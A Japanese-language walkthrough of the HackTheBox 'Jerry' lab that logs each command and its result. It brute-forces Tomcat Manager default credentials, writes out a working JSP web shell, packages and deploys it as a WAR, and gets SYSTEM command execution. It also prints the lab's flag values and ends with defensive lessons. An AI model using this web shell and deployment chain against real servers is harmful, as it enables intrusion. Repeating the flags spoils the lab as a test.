HackTheBox: Jerry — 全実行コマンド・実行結果レポート
Nmap スキャン
8080/tcp のみ (Tomcat 7.0.88)
→
8080/tcp のみ (Tomcat 7.0.88)
Manager既定資格情報
tomcat:s3cret
→
tomcat:s3cret
悪性WAR作成
cmd.jsp Webシェル同梱
→
cmd.jsp Webシェル同梱
/manager/text/deploy
PUTでWARをデプロイ
→
PUTでWARをデプロイ
cmd.jsp経由RCE
最初のコマンドから既にSYSTEM
→
最初のコマンドから既にSYSTEM
user.txt & root.txt ✓
同一ファイルに両方記載
同一ファイルに両方記載
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.185
RESULT
PORT STATE SERVICE
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned
ℹ️
開いているポートは 8080番のみ。22/80/445等は一切応答しないため、
ホスト応答待機を22/80ベースで行うツールは誤ってタイムアウトしがちだが、
-p-の全ポートスキャンで8080が検出できれば問題ない。
バージョン・スクリプトスキャン & バナー確認
BASH
nmap -sV -sC -p 8080 10.129.84.185 curl -s -i http://10.129.84.185:8080/
RESULT
PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-title: Apache Tomcat/7.0.88 |_http-favicon: Apache Tomcat |_http-server-header: Apache-Coyote/1.1 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 <h1>Apache Tomcat/7.0.88</h1> <h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2> ... <a href="/manager/html"><span>Manager App</span></a>
🚨
Tomcat 7.0.88 のデフォルトウェルカムページがそのまま公開されており、
/manager/html(Webベース管理画面)と、同等機能を提供する
/manager/text/*(HTTP Basic認証のみ、cURL等で直接操作可能なテキストAPI)
へのリンクが確認できる。Tomcat Managerはアプリケーション(WAR)のデプロイを扱うため、
認証突破できればそのままRCEに直結する典型的な攻撃対象。
PHASE 2
Tomcat Manager — デフォルト資格情報の特定
既知のデフォルト資格情報リストでブルートフォース
BASH
# Metasploitに付属する「ユーザー名:パスワード」ペア済みの既定値リストを利用
# (tomcat/tomcat, admin/admin, tomcat/s3cret 等、Apache Tomcat配布物でよく使われる値を網羅)
while IFS=' ' read -r user pass; do
code=$(curl -s -o /dev/null -w '%{http_code}' -u "$user:$pass" \
http://10.129.84.185:8080/manager/text/list)
[ "$code" = "200" ] && echo "FOUND: $user:$pass"
done < /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
RESULT
FOUND: tomcat:s3cret
✅
認証突破: tomcat:s3cret。
/manager/text/list はHTTP Basic認証のみで、
成功すると現在デプロイ済みのアプリケーション一覧がプレーンテキストで返る
(ブラウザ経由の/manager/htmlより自動化しやすい)。
PHASE 3
悪性WARデプロイ → Webシェル経由RCE
JSP Webシェルの作成
NOTE (cmd.jsp)
<%@ page import="java.util.*,java.io.*"%><%
String cmd=request.getParameter("cmd");
if(cmd!=null){
String[] c={"cmd.exe","/c",cmd};
Process p=Runtime.getRuntime().exec(c);
InputStream is=p.getInputStream();
InputStream es=p.getErrorStream();
int b;
while((b=is.read())!=-1){out.write((char)b);}
while((b=es.read())!=-1){out.write((char)b);}
p.waitFor();
}
%>
ℹ️
?cmd=<コマンド> パラメータをそのまま cmd.exe /c に渡すだけの
極めてシンプルなWebシェル。標準出力・標準エラー出力の両方をレスポンスボディへ書き出す。
WARファイルへパッケージング
BASH
mkdir -p jerrysh/WEB-INF
cp cmd.jsp jerrysh/
cat > jerrysh/WEB-INF/web.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
version="2.5">
</web-app>
EOF
cd jerrysh && jar -cvf ../jerrysh.war . && cd ..
ℹ️
最小構成の
web.xml だけ同梱すれば有効なWebアプリケーションとして認識される。
jar(JDK付属)または zip コマンドでも同様にWAR(=ZIP形式)を作成できる。
Tomcat Managerテキストインターフェース経由でデプロイ
BASH
curl -s -u tomcat:s3cret -T jerrysh.war \ "http://10.129.84.185:8080/manager/text/deploy?path=/jerrysh&update=true"
RESULT
OK - Deployed application at context path [/jerrysh]
✅
-T(cURLのPUTアップロード)+ path= パラメータで、認証済みセッションから
直接WARをデプロイできる。update=true を付けることで、同名パスが既に存在していても
上書きデプロイが可能。
Webシェル経由でコマンド実行
BASH
curl -s -G --data-urlencode 'cmd=whoami' \ http://10.129.84.185:8080/jerrysh/cmd.jsp
RESULT
nt authority\system
🚨
重要発見: Jerryでは一般ユーザー経由の侵入とSYSTEM昇格という2段階の区別が存在しない。
このTomcatサービス自体が
NT AUTHORITY\SYSTEM 権限で動作しているため、
デプロイしたWebシェルの最初の1コマンド目から既にSYSTEM。
別途の権限昇格手順(privesc)は一切不要。
PHASE 4
フラグ取得 — 1ファイルに2つのフラグ
フラグファイルの探索と読み取り
BASH
curl -s -G --data-urlencode 'cmd=dir /s /b C:\Users\Administrator\Desktop' \ http://10.129.84.185:8080/jerrysh/cmd.jsp curl -s -G --data-urlencode 'cmd=type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"' \ http://10.129.84.185:8080/jerrysh/cmd.jsp
RESULT
user.txt 7004dbcef0f854e0fb401875f26ebd00 root.txt 04a8b36e1545a455393d067e772fe90e
⚠️
通常のuser.txt/root.txtという別々のファイルは存在せず、
"2 for the price of 1.txt"(ファイル名そのものが「1つの値段で2つ」という
洒落になっている)という単一ファイル内に、"user.txt"/"root.txt"というラベル行とともに
2つの異なる32文字hex値が記載されている。
両者は同じ値の重複ではなく、それぞれ別の値である点に注意
— 「とりあえず最初に見つかったhex文字列を両方に使う」という早合点をすると、
root.txtとして間違った値(user.txtの値の重複)を提出してしまう典型的な罠。
ラベル行を見てどちらの値かを正しく判定すること。
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Tomcat Manager デフォルト資格情報 | Apache Tomcat 7.0.88 Manager アプリ | 管理画面への認証突破 | Critical | 既定の資格情報リストでブルートフォース → tomcat:s3cret |
| WARデプロイによるRCE | /manager/text/deploy エンドポイント | リモートコード実行 (SYSTEM即時) | Critical | JSP Webシェルを同梱したWARをデプロイし、URLアクセスで任意コマンド実行(Tomcatサービス自体がSYSTEM権限で稼働) |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 8080/tcp のみ (Apache Tomcat 7.0.88) |
| 2 | 認証突破 | Tomcat Manager 既定資格情報ブルートフォース | tomcat:s3cret |
| 3 | エクスプロイト | JSP Webシェル同梱WARを /manager/text/deploy でデプロイ | cmd.jsp経由RCE、最初のコマンドから既にSYSTEM |
| 4 | フラグ取得 | 単一ファイル内のラベル付き2フラグを読取 | user.txt + root.txt を同時取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Tomcat Manager がデフォルト資格情報(tomcat:s3cret)のまま外部公開されている | Manager/Host Managerアプリは本番稼働後に無効化するか、強固なパスワードへ必ず変更する。アクセスを管理用ネットワークからのみに制限する。 |
| Tomcatサービス自体がNT AUTHORITY\SYSTEMという過剰権限で動作している | Tomcatサービスは専用の低権限サービスアカウントで動作させ、万一アプリケーション層が突破されても即座にSYSTEM権限が渡らないようにする(最小権限の原則)。 |
| WARデプロイ機能がそのまま任意コードの実行経路になっている | Managerアプリへのデプロイ権限は信頼されたCI/CDパイプラインのみに限定し、対外的に開放しない。WAFやリバースプロキシで /manager/* へのアクセスを制限する。 |

